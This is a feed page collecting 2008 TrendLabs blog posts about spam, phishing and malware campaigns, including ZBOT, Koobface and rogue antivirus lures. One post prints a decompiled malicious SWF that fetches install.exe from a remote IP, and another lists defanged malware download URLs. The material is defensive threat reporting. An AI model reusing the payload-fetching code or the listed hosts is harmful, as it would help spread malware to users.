SecurityFeed.info » TrendLabs | Malware Blog

« Expand/Collapse

TrendLabs | Malware Blog - by Trend Micro (10 unread)

September 02, 2008
4:07
Watch Out for Hurricane Gustav Relief Scams
» ‎ TrendLabs | Malware Blog - by Trend Micro

Figure 1. Latest satellite image from the U.S. National Weather Service shows a fading Hurricane Gustav.

The SANS Internet Storm Center has recently warned online users on possible Hurricane Gustav donation scams, noting that there was a rush in the registration of domains with names related to Gustav relief efforts.

The list of newly registered sites has the word Gustav with aid, relief, or recovery attached to it. While there may be nothing malicious with these domains now, it’s very probable that cyber criminals may be attempting to use them for malicious (or illegal) purposes soon.

Exploiting natural disasters (or any other celebrity or global news) for profit is really not a new online threat. One of the more current examples is the spamming operation that followed the massive earthquake that hit China last May, where recipients were given contact information on where they could send their money. Malware authors have also used Hurricane Katrina before as subject of email messages to lure users into installing malware into their systems.

US-CERT has also issued a reminder to online users to be skeptical of unsolicited email messages related to Hurricane Gustav, as these may lead them to phishing Web sites or other scams.

Because it’s an industry now, Web criminal activity is conducted through every means available — the more common examples being spammed email messages and bogus Web sites. Generosity is a wonderful thing, but making sure that donations go to their intended recipients should always come with it.

If you feel compelled to donate online for any natural disaster relief efforts, use known reputable sources such as the Red Cross.
August 31, 2008
7:10
Invoice Spam Shifts to Western Union
» ‎ TrendLabs | Malware Blog - by Trend Micro

Here we go again — another invoice spam run!

Apparently, invoice spam has recently gained popularity among spammers.

We’ve seen invoice spam runs related to UPS, FedEx, and of course, German-language Rechnung spam receipts. Now, this new invoice spam claims to come from Western Union, informing recipients that their credit card-issuing bank has halted the transaction by the demand of the “Federal Criminal Investigation Service”.

Below is a screenshot of the spam:

Recipients are instructed to contact Western Union and bring their ID card, Credit Card and invoice file. The sender (whose name is also bogus) then instructs the recipient that the invoice file is in the attached compressed file, and should be printed out.

Unfortunately, the compressed attachment does not contain an invoice, but rather a malicious executable file named MTCN08662112.EXE.

MTCN08662112.exe is detected by Trend Micro as TSPY_ZBOT.WC.

Spam emails related to this attack are now blocked by the Smart Protection Network.
4:58
Out-Of-This-World Malware
» ‎ TrendLabs | Malware Blog - by Trend Micro

First animal in space: 1957
First human in space: 1961
First malware in space: 2008?

Malware detected by Trend Micro as WORM_AUTORUN.BPN has boldly gone where no malware has gone before — outer space. But perhaps not even.

It was all over the news that the malware, which also steals sensitive information from certain online games, has recently stowed away to the International Space Station. However, it’s not actually the infection debut of a malware at the research facility hovering 350 kilometers above the Earth.

NASA spokesman Kelly Humphries confirmed that it’s not a frequent occurrence, but this isn’t the first time that a worm or a virus has shot through the stratosphere and beyond. NASA is calling the threat a mere nuisance and claiming that it has only infected non-critical machines used for email and the like, according to Wired News.

However, the incident plainly shows the ubiquity of malware in modern life — not even the last frontier is safe. And, yes, it may be no more than an annoyance this time, but how much longer before more serious threats make their way up and to a galaxy far, far away?
4:32
‘Treasury Optimizer’ Updates Systems With Malware
» ‎ TrendLabs | Malware Blog - by Trend Micro

Treasury Optimizer is an online banking tool offered by Capital One Bank which aims to provide secure access to business accounts on the Web, 24/7. Posed to replace electronic money or more popularly known as eCash, it offers to protect customers’ accounts through security features such as multifactor authentication.

Unfortunately, their security offerings come short, as we receive bulks of phishing emails that “promote” the Treasury Optimizer. The phishing mail instructs the client to update their account due to a potential security risk that affects all of Capital One Bank products, including the Treasury Optimizer. Here is a screenshot of the said phishing email message:

The conventional phishing attack aims to capture users’ credentials through fake login pages spammed through email. For this attack however, the phishing link given in the phishing email leads to a page that does not ask for credentials, but tells the user to download a file instead. When the user clicks the link contained in the phishing email, the following spoofed Treasury Optimizer Web page is displayed:

The page explains that the bank had to fix vulnerability; and in order to fix it, the client MUST download the update. It even displays different download links for different operating systems. It will then download an .EXE file that poses as an installation setup:

The downloaded file is detected by Trend Micro as TROJ_SMALL.MAT.

This malware-enhanced phishing attack is neither the typical type of phishing attack, nor is it less dangerous. The scope of a phishing attack is usually limited; one account from a target organization compromised in every successful attack. But this phishing attack installs a malware on the affected user’s system instead, and then uses it to monitor users’ online activities, thus possibly disclosing more information.

The phishing URLs related to this attack are now blocked by the Smart Protection Network.
August 29, 2008
13:44
Paris Hilton Hits the Rogue AV Scene
» ‎ TrendLabs | Malware Blog - by Trend Micro
What is it with Paris Hilton these days? Just this week we’ve seen several pictures of the celebrity in a spam run that is yet again pushing rogue AV.

Although we’re quite familiar with the social engineering technique involved in name-dropping celebrities in order to pique more interest (and therefore hits), the last celebrity we’ve seen in the run was Angelina Jolie — around the time of the release of the movie Wanted, in which she starred.

These spammers are apparently in touch with the pop culture scene, as Paris followers (and naysayers) from all over the world are by now intimately familiar with that viral video where Paris says, “I want America to know that I’m, like, totally ready to lead.” This was in answer to the John McCain ad where a clip of his opponent Barack Obama was placed between a Paris Hilton and Britney Spears footage, implying that Obama is mereley a celebrity.

Figure 1. Spammers play off off-beat mainstream news.

Trend Micro Advanced Threats Researcher Jamz Yaneza tells us that tempted users who open the message will find any of the following URLs in the message body:
- hxxp://www.{BLOCKED}n-gmbh.de/video_1.exe
- hxxp://{BLOCKED}tchmansearch.com/video_1.exe
- hxxp://www.{BLOCKED}ic.com/video_1.exe
- hxxp://{BLOCKED}ypaypower.com/video_1.exe
- hxxp://{BLOCKED}ports.com.ar/stream.exe
- hxxp://{BLOCKED}ton.adm.br/stream.exe
- hxxp://{BLOCKED}oynegociosinmobiliarios.com/stream.exe
- hxxp://{BLOCKED}eb.com.ar/stream.exe
- hxxp://www.{BLOCKED}ance.com/player.exe
- hxxp://{BLOCKED}arana.com.ar/player.exe
- hxxp://{BLOCKED}-chloride.com/player.exe
- hxxp://www.{BLOCKED}webgroup.com/player.exe
- hxxp://{BLOCKED}rastour.com/player.exe
- hxxp://www.{BLOCKED}eemann.ch/play.exe
And that clicking the link to the “video” leads to the download of components detected by Trend Micro as TROJ_FAKEAV.FP and TROJ_FAKEAV.FW.

While we are indeed detecting a trend that rogue AV programs are having a field day in the past few weeks, the volume of unique Paris-related spam-for-rogue-AV attacks and the actual victims (a big chunk of whom are from North America based on our Virus Tracking Center) say that this particular social engineering technique does click.

Never mind if the spam doesn’t make sense…

Figure 2. Paris spam pushing rogue AV, sample 2

…isn’t even remotely sensational…

Figure 3. Paris spam pushing rogue AV, sample 3

…or just too good to be true.

Figure 4. Paris spam pushing rogue AV, sample 4

All URLs and spam mail mentioned above are already blocked by the Smart Protection Network.

Recent reports of rogue AV in the blog:
8:20
Spammed SWF URLs Abuse ImageShack, Lead to Rogue AV
» ‎ TrendLabs | Malware Blog - by Trend Micro
We’re seeing a lot of spam right now using the now annoyingly familiar Free Update Windows XP,Vista spam template. This time though, instead of linking to an .EXE file, it is now pointing to an .SWF file.

Figure 1. Seen before: Spam announcing a free update for Windows XP and Vista

The SWF file linked via the large-font text Free Update Windows XP,Vista contains Flash ActionScript. One of the SWFs captured decompiles to the following (http changed to hxxp where it occurs below):
```
movie '82029540ui0.swf' {
// flash 6, total frames: 3, frame rate: 50 fps, 978x580 px, compressed

  // unknown tag 777 length 3

  movieClip 5 TextBox {
  }

  frame 2 {
    getURL('hxxp://89.xx.49.18/install.exe', '_self');
  }

  frame 3 {
    stop();
  }
}
```
This is what it looks like when opened in a browser.

Figure 2. Seen just now: SWF files instead of the typical EXE.

Running the install.exe will make the desktop look like this.

Figure 3. Seen before: “WARNING! Spyware detected!”

After this a EULA window appears, and then the system proceeds to install a rogue AV software from avxp-2008.net. Note that it does this automatically from the moment the install.exe is run:

Figure 4. Yet another rogue AV product hosted on a fresh domain (this one created August 20).

The technique used in the spam has two things going for it: 1. the use of SWF instead of EXE and 2. the use of an ImageShack-hosted file, both of which may suggest to normal users that the file is possibly harmless. So it seems the siege of rogue AV is not only not dying down, its proponents are becoming more creative in their “advertising” schemes.

We detect this rogue AV as TROJ_FAKEAV.IG.

Update as of 1 Sept, 2008 5:00 AM PST:

Senior Threat Researcher Loucif Kharouni found another variant of this malware-bearing spam, posing as an email from the Northwest Airlines. The spammed message comes with an attached file, which the message says is an eTicket. Unlike the first attack which involved a crafted malicious .SWF file, this spam contains the malware itself, as the attached eTicket is no ticket, but the malware itself. Here is a screenshot of the said spammed message:

Executing the file contained eTicket_N832.zip also leads to the installation of the rogue AV detected as TROJ_FAKEAV.IG.
August 28, 2008
9:42
Critical Update: Please Patch Windows with Malware
» ‎ TrendLabs | Malware Blog - by Trend Micro
After patching 11 vulnerabilities for this month’s Patch Tuesday, spam is being sent that falsely claims that the recipient should immediately install another critical Microsoft update.

Advanced Threats Researcher Jamz Yaneza discovered this latest ploy:

Figure 1. Sample email

Patching one’s system using this spam as a guidance, however, downloads a multitude of badness, and one particular malicious piece of malware which is detected as EXPL_ANICMOO.GEN.

Interestingly enough, this exploit has been around for quite some time.

More info on the malicious nature of this blended threat are provided below:
Malware writers are counting on the urgency of the email’s tone to trick recipients into applying the “patch.”

Rest assured that Trend Micro users are protected against this threat. The Smart Protection Network blocks the spam, malicious URLs and detects the malicious files related to this attack.
9:41
Worms Wriggling Their Way Through Facebook
» ‎ TrendLabs | Malware Blog - by Trend Micro

Early last week, Trend Micro has flagged two malware with a type that is slowly and steadily making itself get noticed: worms, and the most notable to date are WORM_KOOBFACE.E and WORM_KOOBFACE.D.

One may recall that both worms are unique since these take advantage of user interactivity, an awesome Web 2.0-borne feature, by making this a part of the whole propagation chain. Somewhere between their execution on the affected system to their possible deletion from it, these worms search for a string or set of strings in cookie files related to the popular social-networking site Facebook. Once a match is found, these worms then access the user’s profile using the credentials from the cookies to add links pointing to a copy of itself in the affected user’s profile for virtually anyone to find and click on to download.

Infected users therefore put their frequent profile visitors (who might be more than willing to click on the link since it appears to be a new profile update that they haven’t checked out yet) in harm’s way, along with virtually anyone who stumbles upon the infected profile and clicks on the offending link.

When comScore, an independent marketing survey company, shows that Facebook has now become the largest and fastest growing social network in the Web — consequently surpassing MySpace, its biggest competitor ever since.

Users, Facebook users most especially, are now protected from this threat through the Trend Micro Smart Protection Network.
August 26, 2008
19:41
‘Want to Know Who Deleted You on MSN Live?’
» ‎ TrendLabs | Malware Blog - by Trend Micro

While monitoring countless sites as part of our current Web threat strategy, we have stumbled upon a legitimate-looking prompt from MSN Live Messenger… or so it would appear (at first).

As shown from the screen captures below, this prompt bears a close resemblance to the actual prompt being displayed by the MSN Live Messenger instant messaging application (also known as Windows Live Messenger) whenever a friend from the user’s friends list logs in.

Figure 1. Screenshot of fake prompt seen in this attack.

Potential victims who unfortunately encounter the site (Borradito.com) via spam or spammed IM is first enticed by the Web site’s description, which promises the capability to view which of their friends have removed them from their friends list, provided they are logged in, of course—a pretty convincing trick to lure users to key in their user names and passwords.

As the Web site is accessed, a message prompt from MSN Live Messenger appears at the lower-right part of the screen, just below the system tray, where such prompts are known to appear:

Figure 2. Site that opens when users click on phishing mail.

Once users click on the prompt, they are diverted to a Flash-based window which also resembles an actual MSN group chat window:

Figure 3. Real-looking (and functioning) chat window loaded when users click on the prompt in Figure 1.

This routine is used to attract the users, as well as to build credibility. If the user goes back to the main site and enters their credentials, the site displays a list of users who have allegedly removed the affected user from their contact lists:

Figure 4. This page is displayed after the user logs in to the fake site.

What happens under the radar, however, is that the site captures the entered credentials and the accounts are then opened by a remote malicious user and IM messages containing a link to the Borradito phishing site are sent to all contacts on the affected account’s buddy list as shown below:

Figure 5. IM messages sent to infected users’ contacts.

This ensures further propagation of this threat. Directly at risk are MSN users and their contacts. The account information harvested in this account may be used to access various Windows Live services such as Windows Live Call (PC-to-phone calls), SkyDrive (file-sharing services), Spaces, and even Hotmail accounts under the same account.

Today, your email accounts hold many important tidbits on different aspects of your life, job, and personal details many people would prefer not to be divulged to others. Letting your guard down can be be very costly and can lead to exploitation. The worst possible scenarios include identity theft and financial loss. Trend Micro users are protected from this threat (all related URLs are already blocked by the Smart Protection Network).
August 23, 2008
0:01
Bogus FedEx Notifications: New Malware Courier of Choice
» ‎ TrendLabs | Malware Blog - by Trend Micro

Remember the UPS spam runs that were popular last month (see previous blog posts here and here)? Spammers have chosen a different courier this time, but the message was basically the same:

Posing as FedEx notifications, these email messages have the same format as their earlier UPS counterparts: tracking number (perhaps to make the message appear authentic), message body informing recipients that there was a problem with the delivery of a package, and a message urging the recipient to print the attached “invoice” to claim the “package”.

Even the attachment is of the same file type as those seen in the previous spam runs. The .ZIP file is an info stealer detected by Trend Micro as TSPY_ZBOT.MCS. ZBOT spyware are infamous keyloggers that are known to steal confidential information, such as those related to online banking credentials.

Our users are already protected by the Trend Micro Smart Protection Network. While our experts are still doing their analysis on this case, everyone should remember that nothing is free these days - even if malicious emails posing as the world’s largest couriers tell you otherwise.